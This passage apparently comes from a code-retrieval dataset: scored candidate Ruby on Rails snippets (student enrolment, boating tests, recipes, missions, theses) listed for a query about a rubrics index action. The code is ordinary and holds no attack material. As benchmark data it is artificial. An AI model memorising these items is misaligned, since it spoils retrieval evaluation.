"text": "def create_by_other\n @index = Index.find(params[:id])\n @student = @index.student\n @title = t(:message_3, :scope => [:controller, :plans])\n @requisite_subjects = PlanSubject.create_for(@student, :requisite)\n @subjects = SpecializationSubject.for_select(:specialization => @index.specialization)\n @study_plan = @student.index.prepare_study_plan\n @plan_subjects = []\n (@student.specialization.voluntary_amount + 8).times do |i|\n (plan_subject = PlanSubject.new('subject_id' => -1)).id = (i + 1)\n @plan_subjects << plan_subject\n end\n @disert_theme = @index.build_disert_theme\n end",
"title": ""
},
{
"docid": "724c23ebc6be91ae6d89951dda09c32f",
"score": "0.5598111",
"text": "def num_of_registered_courses\n student = Student.where(:id => student_id).first\n student.number_of_courses += 1\n student.save\n end",
"title": ""
},
{
"docid": "2a0cb1a0099bd2ad393466edb2c720df",
"score": "0.55903125",
"text": "def add_student\n name = get_entry(\"Enter name: \")\n mat_nr = get_entry(\"Enter matriculation number: \").to_i\n\n s = Person::Student.new(name, mat_nr)\n Menu.data_handler.add_person(s)\n puts \"Student with id #{s.id} added successfully.\".green\n end",
"title": ""
},
{
"docid": "cf5382dfba60c5fe1c71199c229e2d07",
"score": "0.55897766",
"text": "def pass_student(student, test_name)\n begin\n test_results = BoatingTest.all.find {|test| student == test.student and \n test_name == test.test_name}\n test_results.test_stat = \"passed\"\n \n rescue\n if test_results == nil \n BoatingTest.new(student, test_name, \"passed\", self )\n end\n \n end\n end",
"title": ""
},
{
"docid": "0846c49823d947792de18f017d71af5c",
"score": "0.55889255",
"text": "def pass_or_fail_student(test_result_to_assign:,student_instance:,testname:)\n instance_to_update = BoatingTest.all.find{|boating_test|(boating_test.teststudent == student_instance) && (boating_test.testname == testname)}\n if instance_to_update != nil\n #UPDATE\n instance_to_update.teststatus = test_result_to_assign\n else\n #CREATE NEW\n instance_to_update = BoatingTest.new(testname:testname,teststatus:test_result_to_assign,teststudent:student_instance,testinstructor:self)\n end\n instance_to_update\n end",
"title": ""
},
{
"docid": "1817d68cccdc8e52408469ca2f881fd3",
"score": "0.558889",
"text": "def create\n @course = Course.find(params[:course_id])\n @lesson = Lesson.find(params[:lesson_id])\n @session = @lesson.sessions.new\n @session.user = current_user\n @session.lesson = @lesson\n @session.status = \"completed\"\n\n # This finds the enrollment for the current session\n @enrollment = current_user.enrollments.where(:course_id => @course.id).first\n @session.enrollment = @enrollment\n\n begin\n @session.save\n rescue => error\n redirect_to course_lesson_path(@course.id, @lesson.id)\n end\n\n # total course = find the course the student is marking the session as complete for\n @course = Course.find(params[:course_id])\n\n # total course lessons = find the number of lessons in the course\n total_lessons_in_course = @course.lessons.count\n\n # total users sessions in course completed = find the number of sessions in the course which are marked as completed\n @to_be_completed_enrollment = current_user.enrollments.where(:course_id => @course.id).first\n @completed_sessions = @to_be_completed_enrollment.sessions.where(:status => \"completed\")\n\n if @completed_sessions.count == total_lessons_in_course\n @to_be_completed_enrollment.status = \"completed\"\n end\n\n @to_be_completed_enrollment.save\n\n\n # updating the enrollment user_score attribute with the user's latest score\n @enrollment = @session.enrollment\n @enrollment.user_score = course_user_current_score(@enrollment, current_user)\n @enrollment.save\n end",
"title": ""
},
{
"docid": "7f6320c2e6f6d28d8e2740ce6c8095e7",
"score": "0.55871964",
"text": "def create\n @student = Student.new(student_params)\n #@user = current_user\n @student.user = current_user\n current_user.student = @student\n\n respond_to do |format|\n if current_user.student_id.nil?\n if @student.save && current_user.update_attribute(:student, @student)\n format.html { redirect_to home_dashboard_path, notice: 'Student Profile was successfully created!' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to home_dashboard_path, notice: 'You already have a student profile!'}\n end\n end\n end",
"title": ""
},
{
"docid": "c385657aaefc9ade1e870e6c2ee3cf22",
"score": "0.55870354",
"text": "def create\n @mission = Mission.new(params[:mission])\n @users = @mission.users\n @courses = @mission.courses\n @course = Course.new\n @topic = Topic.new\n @invite = Invite.new\n @invite.invitable_id = params[:invitable_id]\n @invite.invitable_type = params[:invitable_type]\n @invite.inviter = current_user\n @mission.account = current_account if current_account\n @mission.city = current_user.city\n\n respond_to do |format|\n if @mission.save\n @mission.crewmanships.create(:user => current_user, :role => 'creator', :status => \"trial_active\", :trial_expires_at => 30.days.from_now.to_date)\n @mission.update_attribute(:status, 'draft')\n @mission.update_attribute(:featured, false)\n format.html { redirect_to @mission}\n else\n format.html { render action: \"new\" }\n format.json { render json: @mission.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e535a1a4b1218a853906e1329033c540",
"score": "0.5582058",
"text": "def student_info(save = false)\n ##get name and code of the student from the banner on top of the page\n page = BotModule.get_page(BotModule.links[:schedule])\n \n ##selecting the last semester to see the schedule\n form = page.forms[1]\n period = \"\"\n if Integer(Date.today.month.to_s) < 6\n period = \"#{Date.today.to_s.split(\"-\")[0]}10\"\n else\n period = \"#{Date.today.to_s.split(\"-\")[0]}30\"\n end\n p period\n p form.fields[0].value = period\n page = form.submit\n \n ##searching the correct tables to \"scrap\" the hours of class\n tables_container = page.parser.css('.datadisplaytable')\n tables_container.each do |table|\n if table.css('.captiontext').text.eql?(\"Horas de Reuni\\u00F3n Programadas\")\n table_rows = table.css('tr')\n table_rows.each do |table_row|\n table_elements = table_row.css('.dddefault')\n if table_elements.length != 0\n parts = @@temporal_student.add_to_schedule(\"#{table_elements[1].text} - #{table_elements[2].text}\")\n if save \n hour1 = Integer(parts[0].split(\":\")[0])\n hour2 = Integer(parts[1].split(\":\")[0])\n matrix_key = \"\"\n if @@temporal_student.rails_id.eql?(\"0\")\n matrix_key = @@temporal_student.name.split(\" \")[0]\n else\n matrix_key = @@temporal_student.rails_id\n end\n if hour2 == hour1 + 1\n @@conflict_matrix[parts[2]][\"#{parts[0]} - #{parts[1]}\"] = \"#{@@conflict_matrix[parts[2]][\"#{parts[0]} - #{parts[1]}\"]} #{matrix_key}\" #[parts[2]].push(\"#{parts[0]}-#{parts[1]}-#{name.split(\" \")[0]}\")\n else \n while hour1 != hour2\n @@conflict_matrix[parts[2]][\"#{hour1}:30 - #{hour1+1}:30\"] = \"#{@@conflict_matrix[parts[2]][\"#{hour1}:30 - #{hour1+1}:30\"]} #{matrix_key}\"\n hour1 = hour1+1\n end\n end\n end \n end\n end\n end\n end\n if save\n @@students.push(@@temporal_student)\n @@conflict_matrix.each do |key, value| \n value.each do |key2, value2| \n if !value2.nil? and !value2.empty?\n @@conflict_matrix[key][key2] = value2.split.uniq.join(\" \")\n end\n end\n end\n BotModule.reset_entity\n set_0_on_free_hours\n fix_0_issues\n return @@conflict_matrix\n end\n BotModule.reset_entity\n return @@temporal_student.schedule\n end",
"title": ""
},
{
"docid": "8f1bbc3866e0dc553ac0aed4f0a2aec8",
"score": "0.5580887",
"text": "def mission?(task); @missions.include?(task.to_task) end",
"title": ""
},
{
"docid": "2f16441ca7cd694294a1bd102dbac18a",
"score": "0.55785275",
"text": "def validate_student\n\t\t@student = current_user\n\tend",
"title": ""
},
{
"docid": "87de32b379aff67212913312ef6d4fc2",
"score": "0.5577993",
"text": "def create\n @thesis = Thesis.new\n @thesis.name =params[:thesis][:name]\n @studentAssigned=Student.find_by_username(params[:thesis][:student_id])\n @thesis.student_id=@studentAssigned.id\n @thesis.professor_id=session[:user_id]\n @thesis.save\n\n @studentAssigned.thesis_id=@thesis.id\n @studentAssigned.save\n\n puts \"------------------------------------aaaaaaaaaaaaaaaaaaaaaa\"\n puts params[:thesis]\n puts @thesis.name\n puts @thesis.student_id\n puts @studentAssigned.id\n puts @studentAssigned.thesis_id\n puts \"------------------------------aaaaaaaaaaaaaaaaaaaaaa\"\n\n respond_to do |format|\n if @thesis.save\n @thesis.activities.create(name: \"Initial bibliographic review\", desc: \"Description of this activity\", state: \"To Do\")\n\n @thesis.activities.create(name: \"Problem descripction\",desc: \"Description of this activity\", state: \"To Do\")\n\n @thesis.activities.create(name: \"Thesis objectives\",desc: \"Description of this activity\", state: \"To Do\")\n\n @thesis.activities.create(name: \"Solution strategy\",desc: \"Description of this activity\", state: \"To Do\")\n\n @thesis.activities.create(name: \"Implementation\",desc: \"Description of this activity\", state: \"To Do\")\n\n @thesis.activities.create(name: \"Validation\",desc: \"Description of this activity\", state: \"To Do\")\n\n @thesis.activities.create(name: \"Final thesis documentation and reports\",desc: \"Description of this activity\", state: \"To Do\")\n\n @thesis.save!\n\n\n format.html { redirect_to @thesis, notice: 'Thesis was successfully created.' }\n format.json { render json: @thesis, status: :created, location: @thesis }\n else\n format.html { render action: \"new\" }\n format.json { render json: @thesis.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a00ddab59caabcc5e9f172e79fdf52fa",
"score": "0.5573112",
"text": "def check_eligibility(student)\n previous_batch(student) == student.batch_id ? \n failed_condition(\"For student #{student.admission_no} in batch #{@batch.name}, Does not have previous batches \") : true\n end",
"title": ""
},
{
"docid": "6955466c0746c3f35e2000453f835a9e",
"score": "0.55725193",
"text": "def studentActive\n if (self.active == false)\n regs = Registration.where('student_id = ?', self.id)\n regs.each do |reg|\n reg.active = false\n reg.save!\n end\n end\n end",
"title": ""
},
{
"docid": "3b5e20296832ad3f599396758d60c48f",
"score": "0.5566683",
"text": "def pass_student(student, search_name)\n if BoatingTest.all.find{|test| test.student == student && test.test_name == search_name}\n BoatingTest.all.find{|test| test.student == student && test.test_name == search_name}.status = \"passed\"\n else\n BoatingTest.new(student, search_name, \"passed\", self)\n end\n end",
"title": ""
},
{
"docid": "247f4ee4c7cb47236455ba76bf0114e3",
"score": "0.5561762",
"text": "def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n \n if current_user.kind == 2 and current_user.student_id == nil\n @is_user_new = true\n current_user.student_id = @student.id\n current_user.student = @student\n current_user.save\n end\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n \n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f896d114a5dbb03077d4fd65d5569ebe",
"score": "0.55605495",
"text": "def add_activity_to_course\n @activity = Activity.new\n # @activity.until_radio = 'no_date'\n @course = Course.find_by_id(params[:id])\n if (!@course || @course.user != current_user)\n redirect_to @course, notice: 'Not yours. Pas touche. || dunt exist' \n end\n end",
"title": ""
},
{
"docid": "19fc895be253a24b26eab46d4b0464ad",
"score": "0.55584973",
"text": "def create\n @households = logged_in? ? current_user.role == \"admin\" ? Household.alph_by_guard : current_user.role == \"guardian\" ? Household.for_guard(current_user.guardian.id) : [] : []\n @student = Student.new(student_params)\n @student.active = true\n if logged_in? and current_user.role == \"guardian\"\n @student.household_id = current_user.guardian.household.id\n end\n # if not(@student.find_bracket.nil?)\n # @student.bracket = @student.find_bracket\n # end\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to survey_path, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74b108e0bc8b6f42d7826e5e7d3e7bca",
"score": "0.55548877",
"text": "def add_student\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHOOSE_AUTHORIZE\n # no authorization needed ...\n # authorize Portal::Clazz\n # authorize @clazz\n # authorize Portal::Clazz, :new_or_create?\n # authorize @clazz, :update_edit_or_destroy?\n @student = nil\n @portal_clazz = Portal::Clazz.find(params[:id])\n valid_data = false\n begin\n student_id = params[:student_id].to_i\n valid_data = true && student_id != 0\n rescue\n valid_data = false\n end\n\n if params[:student_id] && (!params[:student_id].empty?) && valid_data\n @student = Portal::Student.find(params[:student_id])\n end\n if @student\n @student.add_clazz(@portal_clazz)\n @portal_clazz.reload\n render :update do |page|\n page << \"if ($('students_listing')){\"\n page.replace_html 'students_listing', :partial => 'portal/students/table_for_clazz', :locals => {:portal_clazz => @portal_clazz}\n page << \"}\"\n #page << \"if ($('add_students_listing')){\"\n #page.replace_html 'add_students_listing', :partial => 'portal/students/current_student_list_for_clazz', :locals => {:portal_clazz => @portal_clazz}\n #page << \"}\"\n page << \"if ($('oClassStudentCount')){\"\n page.replace_html 'oClassStudentCount', @portal_clazz.students.length.to_s\n page << \"}\"\n page.replace 'student_add_dropdown', student_add_dropdown(@portal_clazz)\n end\n else\n render :update do |page|\n # previous message was \"that was a total failure\"\n # this case should not happen, but if it does, display something\n # more friendly such as:\n page << \"alert('Please select a user from the list before clicking add button.')\"\n end\n end\n end",
"title": ""
},
{
"docid": "e3fc4297d039fa649261eeb9c26d28c3",
"score": "0.55543315",
"text": "def create\n @mission = current_user.missions.create(params[:mission])\n\n respond_to do |format|\n if @mission.save\n flash[:notice] = \"You created a mission! Well done.\"\n format.html { redirect_to @mission }\n format.xml { render :xml => @mission, :status => :created, :location => @mission }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @mission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "25e6b3e63b3407fa06bc6d7f73fc1834",
"score": "0.555119",
"text": "def granted!\n self.granted_times += 1\n self.save\n end",
"title": ""
},
{
"docid": "e4ba5b5c9d3cf1ef155aa610b129d3ed",
"score": "0.55472255",
"text": "def set_student\n @user = User.find(current_user.id)\n @user.admin=false\n @user.lecturer=false\n @user.save\n redirect_to \"/\", notice: \"You have been updated to a student\"\n end",
"title": ""
},
{
"docid": "b14309b19a5b399932e2d40f2dafa980",
"score": "0.55439687",
"text": "def final_report\n @student = Student.shod(params[:format])\n @batch = @student.batch\n @exam_groups ||= @batch.exam_groups\n @subjects ||= @batch.subjects\n authorize! :read, @student\n end",
"title": ""
},
{
"docid": "7ae8e891c3c1f15298688fa30077c552",
"score": "0.5543575",
"text": "def course_add\n #Convert ids from routing to objects\n @student = Student.find(params[:id])\n @course = Course.find(params[:course])\n\n if not @student.enrolled_in?(@course)\n #add course to list using << operator\n @student.courses << @course\n flash[:notice] = 'Student was successfully enrolled'\n else\n flash[:error] = 'Student was already enrolled'\n end\n redirect_to :action => courses, :id => student\n end",
"title": ""
},
{
"docid": "74add7be84d7ff6079ae98889f2a00b5",
"score": "0.55382884",
"text": "def pass_student(student, name)\n passing_test = BoatingTest.find_test_by_name(name, student)\n\n if passing_test\n passing_test.test_status = 'passed'\n passing_test\n else\n BoatingTest.new(student, name, \"passed\", self)\n end\n end",
"title": ""
}
] |
e7991a0ba811e0b41563bada782cb134
|
GET /rubrics GET /rubrics.json def index
|
[
{
"docid": "5c4e5bf6d15cdd7468dca2840ebf8316",
"score": "0.0",
"text": "def show\n @articles = @rubric.articles.order('published_at desc').paginate(:page => params[:page], :per_page => 18)\n end",
"title": ""
}
] |
[
{
"docid": "b0f6eda86cdb6b254b3dc31cbfca2361",
"score": "0.74826354",
"text": "def index\n @rubrics = Rubric.all\n end",
"title": ""
},
{
"docid": "b0f6eda86cdb6b254b3dc31cbfca2361",
"score": "0.74826354",
"text": "def index\n @rubrics = Rubric.all\n end",
"title": ""
},
{
"docid": "b0f6eda86cdb6b254b3dc31cbfca2361",
"score": "0.74826354",
"text": "def index\n @rubrics = Rubric.all\n end",
"title": ""
},
{
"docid": "8f09a750ec732afa86beebeb91a86def",
"score": "0.6474487",
"text": "def index\n @recipies = Recipy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipies }\n end\n end",
"title": ""
},
{
"docid": "7d02b0ea2c383130390baf8eb38457f4",
"score": "0.6399329",
"text": "def index\n authorize Rubric\n @rubrics = if params[:task_id]\n # Find the objectives for the task, and then select the rubric\n # entries that are the best fit.\n Rubric.where(task_id: params[:task_id])\n else\n Rubric.all\n end.order(strand_id: :asc, band: :asc, level: :asc)\n @rubrics_grid = initialize_grid @rubrics\n end",
"title": ""
},
{
"docid": "d60e6e6a31a6dab4042354641e5d7bdc",
"score": "0.6282117",
"text": "def index\n render json: Recipe.all\n end",
"title": ""
},
{
"docid": "f45e973e61c52bbdcdf2e876e44ad0b9",
"score": "0.62336266",
"text": "def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end",
"title": ""
},
{
"docid": "87486555a41d4cd008516366143ce95c",
"score": "0.6200526",
"text": "def index\n @crates = Crate.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crates }\n end\n end",
"title": ""
},
{
"docid": "2e309cd1826f323d1973d711d8333431",
"score": "0.6187744",
"text": "def index\n @recipes = Recipe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipes }\n end\n end",
"title": ""
},
{
"docid": "b3f491d0df1efbc0376183320db9c922",
"score": "0.6171451",
"text": "def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"title": ""
},
{
"docid": "8e829b4291f7109f3ef7fcbb11f745c4",
"score": "0.60933053",
"text": "def index\n @cultures = Culture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cultures }\n end\n end",
"title": ""
},
{
"docid": "60528cd7ab53148df76a39e37b8f70e9",
"score": "0.60553885",
"text": "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"title": ""
},
{
"docid": "ca2de21f6c3ad9bb3fd2e81aa4440574",
"score": "0.6046043",
"text": "def index\n @rubies = Ruby.all\n end",
"title": ""
},
{
"docid": "d2b5c1571d30d242a6547c20553c08a1",
"score": "0.6030307",
"text": "def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"title": ""
},
{
"docid": "16ff6395fb4f4e0697191f6905841b0a",
"score": "0.60105973",
"text": "def index\n\t #@racers = Racer.all\n\t if !request.accept || request.accept == \"*/*\"\n\t\t\trender plain: \"/api/racers/#{params[:racer_id]}/entries\"\n\t\telse\n\t\t\t#real implementation ...\n\t\tend\n\t end",
"title": ""
},
{
"docid": "d68ac8f3354bd36afde0e0e6cbeb6a9d",
"score": "0.59881395",
"text": "def index\n @crate_types = CrateType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crate_types }\n end\n end",
"title": ""
},
{
"docid": "490d554a2b8aed15cadd04b9d1f3d978",
"score": "0.5978426",
"text": "def index\n @civilizations = Civilization.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @civilizations }\n end\n end",
"title": ""
},
{
"docid": "a4852519d2bf9be95e4af7c8f576a596",
"score": "0.5973546",
"text": "def index\n @scrobbles = Scrobble.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @scrobbles }\n end\n end",
"title": ""
},
{
"docid": "f38b0c120af53a53fdcf80431d72463f",
"score": "0.5963514",
"text": "def index\n @vet_lab_types = VetLabType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vet_lab_types }\n end\n end",
"title": ""
},
{
"docid": "cd4c61ea9bdde46b6b0bb592f68611a4",
"score": "0.5949516",
"text": "def index\n @super_bowl_picks = SuperBowlPick.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @super_bowl_picks }\n end\n end",
"title": ""
},
{
"docid": "9e6198dada45603826f42bb2ba854580",
"score": "0.5947042",
"text": "def index\n @curriculum_vitaes = findable_curriculum_vitaes.all\n respond_to do |format|\n format.html {}\n format.json { render json: @curriculum_vitaes }\n end\n end",
"title": ""
},
{
"docid": "955d7208645951e2dd125844c0507b1f",
"score": "0.59336287",
"text": "def index\n @cover_cats = CoverCat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cover_cats }\n end\n end",
"title": ""
},
{
"docid": "5a4e1b80d375d20fe45897faa24ae72c",
"score": "0.5930239",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @supervisions }\n end\n end",
"title": ""
},
{
"docid": "a83730b65ceaefadc49a3ce371b518df",
"score": "0.5914734",
"text": "def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"title": ""
},
{
"docid": "a83730b65ceaefadc49a3ce371b518df",
"score": "0.5914734",
"text": "def index\n @labs = Lab.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @labs }\n end\n end",
"title": ""
},
{
"docid": "dae13b63983aa44582b14bcc9b28d413",
"score": "0.5895681",
"text": "def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end",
"title": ""
},
{
"docid": "959f4faac4d54033babea532a6a03242",
"score": "0.5879521",
"text": "def recipebook\n @levels = Level.all\n\n respond_to do |format|\n format.html # recipebook.html.erb\n format.json { render json: @levels }\n end\n end",
"title": ""
},
{
"docid": "3f6f3e377b26bd10915949048a51fc25",
"score": "0.5878955",
"text": "def index\n @collections = @institution.collections.order(:name)\n\n respond_to do |format|\n format.html { render layout: 'fluid' }# index.html.erb\n format.json { render json: @collections }\n end\n end",
"title": ""
},
{
"docid": "c259a85f6a3a7c83e52f6dd3bf230d0e",
"score": "0.5866172",
"text": "def index\n @cartridges = Cartridge.all\n\n respond_to do |format|\n format.html\n format.json { render json: @cartridges }\n end\n end",
"title": ""
},
{
"docid": "cb5b998ed8a358ddc08dd8c1147b727c",
"score": "0.5855624",
"text": "def index\n @client_releases = ClientRelease.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @client_releases }\n end\n end",
"title": ""
},
{
"docid": "630cb69e46a1663973b623dd6876ef0a",
"score": "0.5848982",
"text": "def index\n @lab_methods = LabMethod.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lab_methods }\n end\n end",
"title": ""
},
{
"docid": "8d407309d261aba445520b4e0d0b9d6c",
"score": "0.58448523",
"text": "def index\n @ruas = Rua.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ruas }\n end\n end",
"title": ""
},
{
"docid": "468dc13aafa722f9af115c7bc259e06e",
"score": "0.5843216",
"text": "def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end",
"title": ""
},
{
"docid": "28dea998ededac0992f7dcf6484109bf",
"score": "0.584204",
"text": "def index\n\t \t#@racers = Racer.all\n\t \tif !request.accept || request.accept == \"*/*\"\n\t\t\t\trender plain: \"/api/racers\"\n\t\t\telse\n\t\t\t#real implementation ...\n\t\t\tend\n\t \tend",
"title": ""
},
{
"docid": "2bc46712fac52c18d7095f88606f736d",
"score": "0.583947",
"text": "def index\n\tadd_breadcrumb \"Listado de librerias\", :librerias_index_path\n @librerias = Libreria.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @librerias }\n end\n end",
"title": ""
},
{
"docid": "b9e3bbe0fa66b3e3a8064b7a2cdf2541",
"score": "0.5838484",
"text": "def index\n @selections = Selection.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @selections }\n end\n end",
"title": ""
},
{
"docid": "256f1600af58f2ac0e2c7207427378f8",
"score": "0.581182",
"text": "def index\n @recruiters = Recruiter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recruiters }\n end\n end",
"title": ""
},
{
"docid": "8d8232195ab6ffa1c3c818314fab656a",
"score": "0.58023584",
"text": "def index\n @disciplines = Discipline.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @disciplines }\n end\n end",
"title": ""
},
{
"docid": "722784e3dbce5413d2a671bbb78de249",
"score": "0.57980525",
"text": "def index\n @lectures = Lecture.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lectures }\n end\n end",
"title": ""
},
{
"docid": "a7be8eb757b3e37650b110b2b115c2c9",
"score": "0.57795954",
"text": "def index\n respond_with(@collection) do |format|\n format.html # index.html.erb\n format.json { render json: @retailers }\n end\n end",
"title": ""
},
{
"docid": "7fbfac19c4c735b7dd265df358a1161d",
"score": "0.57756764",
"text": "def index\n @recruiters = Recruiter.all\n render_json_serializer(@recruiters)\n end",
"title": ""
},
{
"docid": "248f9f5b9b628c08eaf2b35dfff3d8d9",
"score": "0.5775182",
"text": "def index\n get('')\n end",
"title": ""
},
{
"docid": "828a444d52280d8022d8cbda715591da",
"score": "0.57742536",
"text": "def index\n @uchronists = Uchronist.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uchronists }\n end\n end",
"title": ""
},
{
"docid": "9ddbcfbc613cb5a318f446e85e1e2b39",
"score": "0.57702416",
"text": "def index\n @fhir_base_urls = FhirBaseUrl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fhir_base_urls }\n end\n end",
"title": ""
},
{
"docid": "f13d936c70e0cac95f8ff8b1e8bd8ba7",
"score": "0.5765558",
"text": "def index\n \tif params[:category] == \"METRO\"\n \trender :json => Interest.stops.to_json\n elsif params[:category] == \"Photos\"\n render :json => Interest.panoramio\n \telsif params[:category]\n \t\tcategory_id = Category.find_by_name(params[:category]).id\n \t\trender :json => Interest.find_all_by_category_id(category_id).to_json(:methods => :category_name)\n \telse\n \t\trender :json => Interest.all\n \tend\n\n end",
"title": ""
},
{
"docid": "f9976986d8bfeae0ed90bcbfcce4c437",
"score": "0.5750077",
"text": "def list\n \n recipes = Recipe.all\n render :json => recipes.to_json\n\n end",
"title": ""
},
{
"docid": "1e934eee018ddf47282bbc355b6a78d0",
"score": "0.5749586",
"text": "def index\n @pend_crates = Overview.get_pending_crates \n @paid_crates = Overview.get_last_paid_crates \n\n respond_to do |format|\n format.html # index.html.erb\n #format.json { render :json => @crates }\n end\n end",
"title": ""
},
{
"docid": "3ae2c9dad4847f06c68f1a1ab00ea803",
"score": "0.5748812",
"text": "def index\n\t\t@clubs = Club.all\n\t\trender json: @clubs\n\tend",
"title": ""
},
{
"docid": "9a1f02d8faf2df5545ccb76e65f42ad7",
"score": "0.57467765",
"text": "def index\n \n respond_to do |format|\n format.html { @radars = Radar.all }\n format.json { @radars = Radar.recent }\n end\n end",
"title": ""
},
{
"docid": "f1289fadb663703612e04205dad5508b",
"score": "0.57434875",
"text": "def index\n add_breadcrumb \"all\", nil, \"glyphicon-list\"\n\n #@vehicles = Vehicle.all\n @vehicles = current_user.account.vehicles || []\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"title": ""
},
{
"docid": "f375c302313bf7ba4efaca5d0394ae05",
"score": "0.5741534",
"text": "def index\n @cannings = Canning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cannings }\n end\n end",
"title": ""
},
{
"docid": "5171044e213f707b9e83cd6b8fee1c85",
"score": "0.57412845",
"text": "def index\n @contenders = Contender.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contenders }\n end\n end",
"title": ""
},
{
"docid": "0128395317164caac78164b3af069186",
"score": "0.57407326",
"text": "def index\n @resturants = Resturant.all\n @resturantlist = @resturants.map do |resturant|\n {\n :id => resturant.id,\n :name => resturant.name,\n :max_delivery_time => resturant.max_delivery_time,\n :tenbis => resturant.tenbis,\n :average_rating => resturant.average_rating,\n :cuisine_title => resturant.cuisine.title,\n :cuisine_image => ActionController::Base.helpers.asset_path(resturant.cuisine.image),\n :new_review => new_resturant_review_path(resturant)\n }\n end\n @cuisine_titles = Cuisine.pluck(:title)\n end",
"title": ""
},
{
"docid": "3cdf4278565f56fb3e2e275244f907a8",
"score": "0.573859",
"text": "def index\n @recipes = Recipe.render_all\n end",
"title": ""
},
{
"docid": "93c46d45eb4f6d4971be3b49c2d7f9fd",
"score": "0.57360846",
"text": "def index \n\t\trespond_to do |format|\t\t\n\t\t \tformat.html # index.html.erb\n\t\t \tformat.json { \n\t\t\t \t\n\t\t\t\t\n\t\t\t\t# Locations /w my assets\n\t\t\t\t\n\t\t\t\t\n\t\t\t\trfid_readers = RfidReader.all\t\t\t\t\n\t\t\t\trfid_readers = rfid_readers.map { |rfid_reader| {\t\t\t\t\t\t\n\t\t\t\t\t\t:network => rfid_reader.network.description,\n\t\t\t\t\t\t:mac_address => rfid_reader.mac_address,\n\t\t\t\t\t\t:reader_name => rfid_reader.reader_name,\n\t\t\t\t\t\t:_id => rfid_reader._id\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t\trender json: rfid_readers \t\t\t\n\t\t \t}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ab1cdf627110d80bb793c82084da77f3",
"score": "0.5733956",
"text": "def index\n recipes = current_user.recipes\n render json: { recipes: recipes}.to_json, status: :ok\n end",
"title": ""
},
{
"docid": "215cc67dad673147069dc16dffa46d7d",
"score": "0.5732084",
"text": "def index\n @critics = Critic.all\n end",
"title": ""
},
{
"docid": "5fed06b8b106eb99be8cb34d7985ed26",
"score": "0.57302374",
"text": "def index\n @sub_variants = SubVariant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sub_variants }\n end\n end",
"title": ""
},
{
"docid": "1945beaddb620a261e38e5fe028b0c90",
"score": "0.57296354",
"text": "def index \n recipes = Recipe.all\n #render will return the object back in json format so that it can be used by the frontend\n render json: recipes, except: [:created_at, :updated_at]\n end",
"title": ""
},
{
"docid": "14bab7d17cacb2a4e39e7225ec7ef1bc",
"score": "0.5726796",
"text": "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end",
"title": ""
},
{
"docid": "d76a74e1eec37ca996144741ad234e39",
"score": "0.57264286",
"text": "def index\n @covers = Cover.all(:order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @covers }\n end\n end",
"title": ""
},
{
